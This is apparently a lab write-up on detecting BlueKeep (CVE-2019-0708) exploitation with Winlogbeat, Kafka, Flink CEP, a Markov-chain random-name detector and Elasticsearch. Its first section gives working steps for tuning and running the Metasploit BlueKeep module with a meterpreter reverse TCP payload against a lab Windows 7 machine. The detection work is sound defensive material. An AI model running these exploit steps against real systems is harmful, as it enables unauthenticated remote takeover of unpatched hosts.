CVE 2019-0708 : BlueKeep

This page describe how to use Apache Kafka, Apache Flink and Elastic Stack and Markov Chain to detect BlueKeep vulnerability scan and exploit.

CVE 2019-0708 Exploit

CVE 2019-0708 (aka BlueKeep) is a security vulnerability in Microsoft Remote Desktop Services that has been published on May 14, 2019. This vulnerability has a CVSS Score of 10 which means possibility of remote access, code execution without any authentication on a target and without user interaction.

Description

A remote code execution vulnerability exists in Remote Desktop Services – formerly known as Terminal Services – when an unauthenticated attacker connects to the target system using RDP and sends specially crafted requests. This vulnerability is pre-authentication and requires no user interaction. An attacker who successfully exploited this vulnerability could execute arbitrary code on the target system. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights.

More information about CVE 2019-0708 here :

BlueKeep Metasploit module

On September 6, 2019 a Metasploit exploit module for BlueKeep has been release (Initialy developed by zerosum0x0). This module allow more or less easy exploitation of BlueKeep vulnerability as some configuration/information are needed. In fact, the start address of the Non Paged Pool (NPP) area need to be adjusted to minimize the risk of BSOD during the exploit.

Adjustement of NPP doesn't completely remove the risk of BSOD.

More information on Metasploit BlueKeep exploit here :

VMware : NPP Start Address extraction

So, the first step to maximize chances to successfully exploit the BlueKeep vulnerability is to extract the NPP start address from Windows 7 target virtual machine. (At this time my Lab is on VMware Workstation 15.5.1)

Start by taking a Snapshot of target VM, then dump memory from the Snapshot with the following command :

cd C:\Users\JohnDoe\Documents
"C:\Program Files (x86)\VMware\VMware Workstation\vmss2core.exe" -W "C:\Users\JohnDoe\Documents\Virtual Machines\Bluekeep\Bluekeep-Snapshot1.vmsn" "C:\Users\JohnDoe\Documents\Virtual Machines\Bluekeep\Bluekeep-Snapshot1.vmem"

A memory dump file "memory.dmp" will be created in current folder (In this case "Documents").

Open "memory.dmp" with WinDbg (File > Open Dump File) and launch the following command :

!poolfind *

Adjust GROOMBASE value

Now that the NPP Start Address has been extracted, GROOMBASE value in Bluekeep exploit module need to be adjusted :

vi /$PathToMetasploit/modules/exploits/windows/rdp/cve_2019_0708_bluekeep_rce.rb


...

[
    # This address works on VMWare 15.1
    'Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - VMWare 15.1)',
    {
        'Platform' => 'win',
        'Arch' => [ARCH_X64],
        #'GROOMBASE' => 0xfffffa8018c08000
        'GROOMBASE' => 0xfffffa8001804000
    }
],

...



# If you are already on the msfconsole, modules need to be reloaded 
msf5 > reload_all

Running BlueKeep exploit against Win7 Target

  • Win7 Target IP Address : 192.168.126.43

  • Linux Attacker IP Address : 192.168.126.44

In order to run the BlueKeep exploit, launch msfconsole and use the following commands :

msf5 > set LHOST 192.168.126.44
msf5 > set RHOSTS 192.168.126.43
msf5 > use exploit/windows/rdp/cve_2019_0708_bluekeep_rce
msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > set GROOMSIZE 50

#Show Targets options in order to select the one in which GROOMBASE value
#has been adjusted.
msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Automatic targeting via fingerprinting
   1   Windows 7 SP1 / 2008 R2 (6.1.7601 x64)
   2   Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - Virtualbox 6)
   3   Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - VMWare 14)
   4   Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - VMWare 15)
   5   Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - VMWare 15.1)
   6   Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - Hyper-V)
   7   Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - AWS)
   
   
#Set Target following modification previously made in "cve_2019_0708_bluekeep_rce.rb"
msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > set TARGET 5


#Finally run exploit 
msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > run

Exploit should run successfully :

Windows Events

The Windows 7 Target machine will generate some interesting events as result of the exploit, and in particular :

  • Microsoft-Windows-TerminalServices-RemoteConnectionManager/Operational : EventID 1149

  • Microsoft-Windows-Sysmon/Operational : EventID 3

  • Microsoft-Windows-Sysmon/Operational : EventID 1

These events will be usefull to create a Detection Rule for Bluekeep Scan and Exploit.

Events stream architecture

This part describe how events from Bluekeep target machine are sent to data pipeline to be indexed in Elasticsearch for investigation in one side and processed by Flink for pattern detection on the other side.

Architecture schema

Dataflow

  1. Sysmon and Windows events are sent to Logstash with Winlogbeat. There are several advantages to using Winlogbeat, it's possible to preprocess events, to choose desired codec, events are already in ECS (Elastic Common Schema) format, Elastic SIEM module will be easily usable, ...

  2. Logstash will apply some logic (Tagging, processing, enrichment, ...) and then pushed/published events to Apache Kafka topics following their type/tags.

  3. Flink will consume events in Kafka topic "Winlog topic" though "Winlog Stream".

  4. On one side, events will be sent directly to Elasticsearch though an ElasticsearchSink, for future investigation and visualization.

  5. On another side, events will be sent to "Pattern Stream" in order to detect a Bluekeep scans and exploits following results of multiple processing and a predefined pattern.

  6. If/When events in "Pattern Stream" match the predefined pattern sequence, an "Alert Stream" containing events that triggered the detection rule is created.

  7. An alert containing information from events (IP Adresses, Hostname, Network information, and so on...) is sent from the "Alert Stream" to Elasticsearch though an ElasticsearchSink for future investigation and visualization.

Markov Chain : Random string detection

First thing to notice in events generated by the Windows 7 target machine, is that the BlueKeep Scanner randomly generate User and Domain name. It's possible to retrieve these information in EventID 1149.

Example :

"event_id": 1149,

...

"user_data": {
  "Param2": "GefmMZM",
  "Param3": "192.168.126.44",
  "Param1": "QWHAfgE",
  "xml_name": "EventXML"
},

...

In order to detect these randomly generated User and Domain, it's possible to use Markov Chain.

The goal here will be to divide User and Domain name in nGram (BiGram in our case) and compute the probability that each BiGram has to follow the previous BiGram.

Once probability has been computed, it's compared to a previous computed probability from a known list of non-randomly generated User and Domain name.

Obviously this method is not foolproof but with a good list User and Domain name non-randomly generated to "train" the model before, result are pretty good.

More information on Markov Chain here :

Markov Chain steps

It's a broad summary but the main idea of how code works is here :

  1. Create a 2D Matrix following an alphabet in our case "a-zA-Z0-9 " (63 characters with space) and fill the "Alphabet Matrix" with a minimum count.

  2. Split username in nGram (Bigram ex: "johndoe" : [jo][oh][hn][nd][do][oe]) from a list of known username (For example extracted from Directory Service or created from list of well known Last and First name from different country) and fill the "Alphabet Matrix" with the number of time each character of nGram appear in each position (For Bigram, first or second position).

  3. Create a 2D "Probability Matrix" from the "Alphabet Matrix" by turning counts in probability.

  4. Get a threshold value (Average) from lists of known randomly and non-randomly generated strings following the "Probability Matrix".

  5. Compare new strings to the threshold value to determine if those ones may have been randomly or non-randomly generated.

Java Code

For this part I reused the code from "Gibberish-Detector" on Paypal GitHub here : https://github.com/paypal/Gibberish-Detector-Java that is a portage in Java from Python code here : https://github.com/rrenaud/Gibberish-Detector. I just added some comments to make it more clear and easier to read.

Markov Chain Java code used along Flink CEP Library for Bluekeep detection rule POC can be found here : https://github.com/NybbleHub/Bluekeep-Detection-Rule

Complex Event Processing : Scan & Exploit detection

Here is how the detection rule works :

Iterative Condition

In the case of Iterative Condition, events will be processed only if a condition has been previously met.

Example with Pattern "Bluekeep Scan EID 1149" :

Pattern<ObjectNode, ?> bluekeepPattern = Pattern.<ObjectNode>begin("Bluekeep Scan EID 1149").where(
		new IterativeCondition<ObjectNode>() {
		
			@Override
			public boolean filter(ObjectNode jsonNodes, Context<ObjectNode> context) throws Exception {
				if (jsonNodes.get("value").get("winlog").get("event_id").asInt() != 1149) {
					return false;
				}
				
				// Extract Username for Event and check if it may have been randomly generated
				String username = jsonNodes.get("value").get("winlog").get("user_data").get("Param1").asText();
				Boolean usernameIsRandom = markovChain.isRandom(username);

				return usernameIsRandom;
			}
		}
)

...

In this case, if an event from the "Winlog Stream" have an EventID not equals to "1149", false is return, username will not be processed to check if it's a random or non-random string and events will not go though the next Pattern (or condition).

So, to go to the next Pattern an event will have to have an EventID equals to 1149 AND a Username detected as randomly generated.

Context : Get Event from Pattern

It's usefull to compare values between events within the same rule, for example to ensure that there is a correlation between multiple events.

Example with Pattern "Bluekeep Scan EID 3" :

.followedBy("Bluekeep Scan EID 3").where(
		new IterativeCondition<ObjectNode>() {
			@Override
			public boolean filter(ObjectNode jsonNodes, Context<ObjectNode> context) throws Exception {
				String sourceIpEID1149 = null;

				if (jsonNodes.get("value").get("winlog").get("event_id").asInt() != 3) {
							return false;
				}

				// Retrieve Param3 value from event from previous pattern "Bluekeep Scan EID 1149
				// Param3 in EventID 1149 corresponds to Source IP Address
				for (ObjectNode bluekeepEID1149 : context.getEventsForPattern("Bluekeep Scan EID 1149")) {
					sourceIpEID1149 = bluekeepEID1149.get("value").get("winlog").get("user_data").get("Param3").asText();
				}

				// Return false if Param3 from event from Previous pattern is null
				if (sourceIpEID1149 == null) {
					return false;
				}
				// Get event if SourceIP in previous EventID 1149 equal SourceIP in Sysmon Event 3
				return  sourceIpEID1149.equals(jsonNodes.get("value").get("source").get("ip").asText());
			}
		}
)

On the Pattern "Bluekeep Scan EID 3" we want to check if "Source IP" from EventID 1149 found in previous pattern has established a connection. For that, we check if next event has an EventID equals to 3 and then we retrieve "SourceIP" from previous Pattern with "context.getEventsForPattern($PatternName)" and compare this value to "SourceIP" value in current Pattern events.

Alert : Elasticsearch Sink

If events in events stream match a full Pattern sequence (a succession of simple pattern) then corresponding events will be store in a list and accessible though a new stream and by using function "PatternSelectFunction".

Select from List

So, events are now stored in a Map where key is the Pattern name from where event(s) is/are and value(s) is/are the original(s) event(s).

It's possible to retrieve values in each events to create an alert, for example :

map.get("Bluekeep Scan EID 1149").get(0).get("value").get("winlog").get("process").get("pid"));
map.get("Bluekeep Scan EID 3").get(0).get("value").get("winlog").get("process").get("pid"));
map.get("Bluekeep Scan EID 3 Initiated").get(0).get("value").get("winlog").get("process").get("pid"));

Here we get "Process ID" from each events of each patterns by specifying the name of the Pattern first and then the value we want to get from the JSON (ObjectNode here).

Send Alerts to Elasticsearch

Once all relevant informations have been retrieved from events that matched with the Pattern sequence and perhaps have added other information from other sources or from static values, alerts can be sent to Elasticsearch though an ElasticsearchSink.

Alerts are sent as JSON String, so to be correctly "Parsed" and indexed by Elasticsearch those ones have to be mapped before to be indexed :

...

public IndexRequest createIndexRequest(String element) throws IOException {
		ObjectMapper mapper = new ObjectMapper();
		HashMap json = mapper.readValue(element, HashMap.class);

		return Requests.indexRequest()
				.index("alert_index")
				.type("alert")
				.source(json);
	}
	
...

Result in Kibana

Last updated